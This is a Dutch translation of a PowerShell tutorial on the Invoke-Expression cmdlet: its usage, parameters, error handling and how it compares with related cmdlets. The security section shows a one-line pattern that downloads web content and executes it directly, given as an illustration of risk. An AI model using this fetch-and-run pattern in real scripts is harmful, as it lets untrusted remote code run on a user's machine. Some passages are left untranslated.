Invoke-Expression: Voor- en nadelen en beste praktijken

De PowerShell-cmdlet Invoke-Expression kan gemakkelijk verkeerd begrepen worden, wanneer wel en wanneer niet te gebruiken. In dit artikel heb ik een aantal veelgestelde vragen samengesteld. Ik ga ze uiteenzetten en voeg tal van nuttige voorbeelden toe die je kunt raadplegen wanneer je ze nodig hebt. Dat betekent dat je deze pagina nu moet bookmarken!

Wil je meer tips zoals deze? Bekijk dan mijn persoonlijke PowerShell-blog op: https://www.nkasco.com/

Wat is Invoke-Expression?

De officiële beschrijving, volgens Microsoft, is: “De cmdlet Invoke-Expression evalueert of voert een opgegeven tekenreeks uit als een opdracht en geeft de resultaten van de expressie of opdracht terug. Zonder Invoke-Expression zou een bij de commandoregel ingediende tekenreeks onveranderd worden teruggegeven (geëchood).”

Met andere woorden, het kan handig zijn om code binnen een script aan te roepen of commando’s te bouwen die later worden uitgevoerd. Het kan ook voorzichtig worden gebruikt in combinatie met door de gebruiker ingevoerde gegevens.

Het meest eenvoudige voorbeeld van het gebruik van Invoke-Expression is het definiëren van een script en het doorgeven van die tekenreeks aan de parameter Command. Invoke-Expression voert vervolgens die tekenreeks uit.

#Voer een PowerShell-commando uit via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Voer een script uit via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

Wat als ik spaties in mijn scriptpad heb?

Zorg ervoor dat je strings tussen enkele of dubbele aanhalingstekens plaatst.

Bijvoorbeeld, als je een string met een spatie in het pad wilt uitvoeren, zullen deze opties niet werken:

# Deze werken niet
$MyScript = "C:\Folder Path\MyScript.ps1"
#of
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

Waarom? Omdat dit precies hetzelfde is als het rechtstreeks typen in de PowerShell-console:

PS51> C:\Folder Path\MyScript.ps1

Echter, als je het paditem tussen enkele of dubbele aanhalingstekens plaatst met de hele string tussen aanhalingstekens, zal Invoke-Expression het script zoals verwacht uitvoeren.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

De enige parameter die Invoke-Expression heeft, is Command. Er is geen ingebouwde manier om parameters door te geven met Invoke-Expression. Je kunt ze echter opnemen in de string die je doorgeeft aan de Command-parameter.

Misschien heb je een script met twee parameters genaamd Path en Force. In plaats van een specifieke parameter te gebruiken via Invoke-Expression, kun je parameters doorgeven aan dat script door ze op dezelfde manier door te geven als je normaal gesproken via de console zou doen.

Als je dit script normaal gesproken zou aanroepen via de console:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

Moet je die hele regel opnemen in een string en die string vervolgens doorgeven aan de Command-parameter.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# of
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

Nee, probeer/vang heeft geen zin met Invoke-Expression?

Niet echt. Dit betekent dat je foutafhandeling moet gebruiken binnen je Command-parameter.

Voorbeeld:

# Werkt niet - Invoke-Expression fungeert niet als een wereldwijde foutafhandelaar!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Wat is het verschil tussen Invoke-Expression en de aanroepoperator (&)?

De aanroepoperator (&) is handig om snel een opdracht, script of scriptblok uit te voeren. De aanroepoperator analyseert echter de opdracht niet. Het kan opdrachtparameters niet interpreteren zoals Invoke-Expression dat kan.

Bijvoorbeeld, misschien wil ik het PowerShell Core-proces krijgen met behulp van de Get-Process-cmdlet met de code Get-Process -ProcessName pwsh. Het samenvoegen van Get-Process en de parameter zal niet werken zoals verwacht met de aanroepoperator.

$a = "Get-Process"

## Werkt niet
& "$a pwsh"

Maar als je deze string uitvoert met Invoke-Expression, zal het werken zoals verwacht.

Invoke-Expression "$a pwsh"

Wat is het verschil tussen Invoke-Expression en Start-Process?

De cmdlet Start-Process geeft een retour- of exitcode in het teruggegeven object. Het stelt je in staat om te wachten tot het opgeroepen proces is voltooid en maakt het mogelijk om een proces te starten onder verschillende Windows-verificatiegegevens. Invoke-Expression is snel en eenvoudig, terwijl Start-Process handiger kan zijn voor het interpreteren van resultaten van het uitgevoerde proces.

Wat is het verschil tussen Invoke-Expression en Invoke-Command?

Invoke-Expression converteert alleen een string naar uitvoerbare code. Invoke-Command daarentegen maakt gebruik van PowerShell Remoting, waardoor je de mogelijkheid hebt om code lokaal of op afstand op computers aan te roepen.

Invoke-Command is aan te bevelen als je de uitgevoerde commando’s nu schrijft, omdat je intellisense behoudt in je IDE, terwijl Invoke-Expression meer geschikt zou zijn als je een ander script wilt aanroepen vanuit het huidige script.

Voorbeeld:

# Beide werken op dezelfde manier, maar we verliezen intellisense met het voorbeeld van Invoke-Expression.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Wat is het verschil tussen Invoke-Expression en Invoke-Item?

De Invoke-Item cmdlet biedt inline ondersteuning voor meerdere paden om documenten te openen met hun standaardactie, met parameters voor inclusie, exclusie, toevoegen van referenties en zelfs bevestiging voor extra beveiliging.

Is Invoke-Expression veilig?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

Voorbeeld:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

Wat zijn enkele best practices voor het uitvoeren van meerdere commando’s/expressies?

Als je meerdere commando’s moet uitvoeren, ook al accepteert Invoke-Expression alleen een string in plaats van een array, kunnen we de PowerShell-pijplijn gebruiken om objecten één voor één door de pijplijn te sturen.

Voorbeeld:

# Werkt niet
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Werkt
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Hoe gebruik ik Invoke-Expression met gebruikersinvoer?

Wees zeer voorzichtig bij het gebruik van Invoke-Expression met gebruikersinvoer. Als je een prompt toestaat op een manier waardoor gebruikers toegang krijgen buiten de opdracht die je van plan bent uit te voeren, kan dit een ongewenst beveiligingslek creëren. Hier is een manier waarop je gebruikersinvoer veilig kunt implementeren met Invoke-Expression.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # Valideer hier de gebruikersinvoer voordat je verder gaat
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # Vermijd hier het gebruik van $Response
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

Conclusie

Elke cmdlet heeft zijn plaats en Invoke-Expression is er een waar bijna iedereen op een gegeven moment mee te maken krijgt. Het is belangrijk om de voor- en nadelen van veelgebruikte cmdlets te begrijpen, zodat je ze op een manier implementeert die je voor succes instelt. Ik ben benieuwd hoe je Invoke-Expression hebt gebruikt om enkele van je eigen uitdagingen op te lossen. Laat een opmerking achter en deel je verhaal hieronder!

Wil je meer tips zoals deze? Bekijk mijn persoonlijke PowerShell-blog op: https://www.nkasco.com/

Verder lezen

Source:
https://adamtheautomator.com/invoke-expression/